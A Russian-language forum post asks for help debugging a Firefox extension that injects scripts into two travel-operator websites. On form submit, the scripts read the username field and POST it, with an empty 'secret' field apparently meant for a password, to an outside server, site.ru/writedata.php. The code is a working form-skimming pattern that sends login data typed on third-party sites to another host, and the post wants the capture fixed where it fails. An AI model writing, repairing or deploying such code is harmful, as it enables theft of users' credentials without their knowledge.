Показать сообщение отдельно
  #1 (permalink)  
Старый 30.04.2014, 07:27
Новичок на форуме
Отправить личное сообщение для Thunder Посмотреть профиль Найти все сообщения от Thunder
 
Регистрация: 08.03.2009
Сообщений: 4

Отправка данных ajax работает не на всех сайтах
Пытаюсь запилить расширение для Firefox, которое собирает некоторые данные на заданных сайтах. Сейчас имею проблему с тем, что не всегда данные уходят на удаленный сервер с помощью $.ajax()

main.js
var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");

pageMod.PageMod({
  include: "*.mouzenidis-travel.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("mouzenidis-travel.ru.js")]
});

pageMod.PageMod({
  include: "*.pegast.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("pegast.ru.js")]
});
data/mouzenidis-travel.ru.js
$("form").submit(function(){
    alert($("#UserName").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"mouzenidis-travel.ru",
                login   :$("#UserName").val(),
                secret  :""   }
    })
});
data/pegast.ru.js
$("form").submit(function(){
    alert($("#username").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"pegast.ru",
                login   :$("#username").val(),
                secret  :""   }
    })
});

Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер.
Ответить с цитированием